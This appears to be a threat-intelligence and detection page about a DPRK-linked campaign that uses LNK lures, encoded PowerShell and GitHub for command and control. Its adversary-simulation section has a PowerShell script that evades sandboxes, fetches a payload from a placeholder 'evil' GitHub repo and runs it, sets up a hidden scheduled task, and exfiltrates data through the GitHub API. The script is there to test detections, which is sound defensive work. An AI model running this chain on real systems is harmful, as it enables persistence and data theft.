SOC Prime Bias: Critical

08 Apr 2026 15:12

DPRK-Related Campaigns with LNK and GitHub C2

Author Photo
SOC Prime Team linkedin icon Follow
DPRK-Related Campaigns with LNK and GitHub C2
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

FortiGuard Labs reports a DPRK-linked campaign that weaponizes LNK shortcut files to launch encoded PowerShell stages, establish persistence through scheduled tasks, and exfiltrate data via GitHub. The LNK command line embeds decoding logic, allowing operators to rely on built-in Windows utilities and reduce obvious malware artifacts. The activity targets organizations in South Korea and follows a multi-stage workflow. By using legitimate public infrastructure like GitHub, the campaign blends into normal developer traffic and complicates network-based blocking.

Investigation

Analysts documented a three-stage chain: (1) LNK files carrying encoded PowerShell in their arguments, (2) a PowerShell stage that performs anti-analysis checks, drops a VBScript, creates a hidden scheduled task, and collects host/system details, and (3) a final stage that repeatedly pulls additional modules from a GitHub repository. Multiple GitHub accounts were observed supporting the C2 workflow, including hard-coded access tokens used to upload data through the GitHub API. The operators also used decoy PDF documents to make the lure more believable and reduce user suspicion.

Mitigation

Block or restrict execution of LNK files originating from untrusted locations (email downloads, temp folders, user profile download paths). Monitor for suspicious PowerShell and VBScript execution patterns, especially when followed by creation of unusual scheduled tasks. Where feasible, limit or proxy outbound access to GitHub API endpoints for systems without a business need, and alert on atypical GitHub API usage from non-developer hosts. Reinforce application control and EDR detections to flag abuse of native Windows tools used for staging, decoding, and persistence.

Response

If detected, isolate the endpoint and preserve evidence by collecting the LNK file, scheduled task definition, and any dropped scripts. Remove the scheduled task, revoke any exposed GitHub access token(s), and perform a full host sweep for related artifacts and follow-on modules. Notify relevant stakeholders, then update detection content to cover the observed behaviors and IOCs to support broader environment hunting.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffef99 classDef malware fill:#ff9999 %% Nodes action_initial_access["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Delivery of malicious .lnk disguised as Korean PDF"] class action_initial_access action tool_lnk["<b>Tool</b> – <b>Name</b>: .lnk Shortcut<br/><b>Technique</b>: T1547.009 Shortcut Modification"] class tool_lnk tool action_execution_lnk["<b>Action</b> – <b>T1547.009 Boot or Logon Autostart Execution: Shortcut Modification</b><br/>Shortcut triggers PowerShell"] class action_execution_lnk action tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Technique</b>: T1059.001 Command and Scripting Interpreter"] class tool_powershell tool action_obfuscation["<b>Action</b> – <b>Obfuscation Techniques</b><br/>T1027.012 Icon Smuggling, T1027.008 Stripped Payloads, T1027.009 Embedded Payloads"] class action_obfuscation action action_sandbox_evasion["<b>Action</b> – <b>T1497.002 Virtualization/Sandbox Evasion</b><br/>Checks for analysis tools and aborts"] class action_sandbox_evasion action action_decode_payload["<b>Action</b> – <b>T1059.001 PowerShell</b><br/>Decodes Base64/XOR, writes VBScript to %Temp%"] class action_decode_payload action tool_vbscript["<b>Tool</b> – <b>Name</b>: VBScript<br/>Writes script to %Temp%"] class tool_vbscript tool tool_scheduled_task["<b>Tool</b> – <b>Name</b>: Scheduled Task<br/><b>Technique</b>: T1037 Boot or Logon Initialization Scripts"] class tool_scheduled_task tool action_persistence["<b>Action</b> – <b>Persistence</b><br/>Runs VBScript every 30 minutes"] class action_persistence action action_discovery["<b>Action</b> – <b>Discovery</b><br/>T1082 System Information Discovery, T1057 Process Discovery"] class action_discovery action action_c2["<b>Action</b> – <b>Command and Control</b><br/>T1567.001 Exfiltration to GitHub, T1102.002 Bidirectional Web Service, T1538 Cloud Service Dashboard"] class action_c2 action tool_github["<b>Tool</b> – <b>Name</b>: GitHub API<br/>Used for exfiltration and module retrieval"] class tool_github tool %% Connections action_initial_access –>|delivers| tool_lnk tool_lnk –>|triggers| action_execution_lnk action_execution_lnk –>|uses| tool_powershell tool_powershell –>|executes| action_obfuscation action_obfuscation –>|leads to| action_sandbox_evasion action_sandbox_evasion –>|proceeds to| action_decode_payload action_decode_payload –>|writes| tool_vbscript tool_vbscript –>|creates| tool_scheduled_task tool_scheduled_task –>|enables| action_persistence action_persistence –>|collects data for| action_discovery action_discovery –>|sends data to| action_c2 action_c2 –>|uses| tool_github "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The adversary has compromised a low‑privilege user account on a Windows workstation. To maintain persistence and exfiltrate data stealthily, they craft a single PowerShell one‑liner that:

    1. Checks for common analysis‑tool processes (vmxnet, vboxservice, idaq, fiddler, wireshark). If any are present, the script aborts.
    2. Downloads a Base64‑encoded payload from a public GitHub repository (https://raw.githubusercontent.com/evil/loot/main/payload.b64).
    3. Decodes the payload in memory and executes it.
    4. Registers a scheduled task via New‑ScheduledTaskAction to re‑run the same PowerShell command on each reboot (persistence).
    5. Sends stolen data back to the attacker’s GitHub repository using the GitHub API (api.github.com).

    All steps are concatenated with semicolons, ensuring that the entire command line contains the required strings for the Sigma rule.

  • Regression Test Script:

    # -------------------------------------------------
    # One‑liner that satisfies every Sigma condition
    # -------------------------------------------------
    $envChecks = "vmxnet","vboxservice","idaq","fiddler","wireshark"
    foreach($c in $envChecks){ if (Get-Process -Name $c -ErrorAction SilentlyContinue){ exit } }
    $b64 = Invoke-RestMethod -Uri "https://raw.githubusercontent.com/evil/loot/main/payload.b64"
    $bytes = [System.Convert]::FromBase64String($b64)
    $decoded = [System.Text.Encoding]::UTF8.GetString($bytes)
    IEX $decoded
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"& {<INSERT SAME ONE‑Liner HERE>}`""
    $trigger = New-ScheduledTaskTrigger -AtLogon
    Register-ScheduledTask -TaskName "SysUpdate" -Action $action -Trigger $trigger -RunLevel Highest -Force
    # Exfiltrate sample data
    $data = "SensitiveInfo"
    $json = @{content=$data} | ConvertTo-Json
    Invoke-RestMethod -Method Post -Uri "https://api.github.com/repos/evil/collector/contents/data.txt" -Body $json -Headers @{Authorization="token <PAT>"}

    Note: Replace <INSERT SAME ONE‑Liner HERE> with the exact same one‑liner (recursive) or store it in a variable to avoid duplication. The script is intentionally verbose to illustrate each step; in a real campaign the adversary would compact it further.

  • Cleanup Commands:

    # Remove scheduled task
    Unregister-ScheduledTask -TaskName "SysUpdate" -Confirm:$false
    
    # Delete any temporary files (if any were written)
    Remove-Item -Path "$env:TEMPpayload.b64" -ErrorAction SilentlyContinue
    
    # Optionally terminate the malicious in‑memory process (if still running)
    Get-Process -Name "powershell" | Where-Object {$_.StartInfo.Arguments -match "evil"} | Stop-Process -Force